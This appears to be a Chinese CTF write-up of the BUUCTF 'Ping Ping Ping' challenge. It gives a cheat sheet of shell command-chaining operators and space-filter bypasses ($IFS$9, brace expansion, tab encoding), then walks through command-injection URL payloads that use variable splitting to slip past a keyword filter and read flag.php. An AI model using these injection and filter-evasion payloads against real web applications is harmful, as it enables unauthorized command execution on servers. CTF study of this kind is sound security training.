【BUUCTF】[GXYCTF2019] Ping Ping Ping

【BUUCTF】[GXYCTF2019] Ping Ping Ping

考点

命令联合执行

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)

命令绕过空格方法有:

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

内联执行

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字

这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

开始解题

image-20241130210335943

打开题目看到这个东西,大胆猜测这是让你在url中拼接ip参数GET类型传参

不放心就抓个包看看

image-20241130210653504

确实是GET类型传参

光ping各ip可不够,这里考的应该是命令联合执行,利用;符号拼接前后命令使其能够都执行

这里我执行ls命令看看网页当前目录下有些啥,我嘞个豆,flag.php,这下不得不看看了

image-20241130211028338

想要查看flag.php,但是提示我们空格被过滤掉了,立马进行绕过,试了几次后发现$IFS&1可以

image-20241130211126165

不是哥们,flag都给我过滤了,这我拿头打

image-20241130211330739

哎,是不是还有个index.php还没看,去看看有啥线索没有

如下是一段php代码,

image-20241130211444057

代码审计后如下,可以看出来空格 bash flag这四个字母依次匹配 & / ? * < > | ' " \ ( ) [ ] { } 都被过滤了

image-20241130211519981

关键在于shell_exec这个函数

shell_exec函数执行一个系统命令,并将命令的输出赋值给变量$a

既然前面会将flag这四个字母依次匹配,那么我们将其中一个或多个字母用$a变量替换就可以绕过过滤了

至此,即可构造出payload,后面的结果都是一个个试出来的

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag

当然,一个变量也有可能被过滤,不妨多构造几个变量

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

利用payload构造url进入网页后,查看源代码即可得到flag

image-20241130212414441

image-20241130212248283

posted @ 2025-03-05 22:06  朱迪Judy  阅读(209)  评论(0)    收藏  举报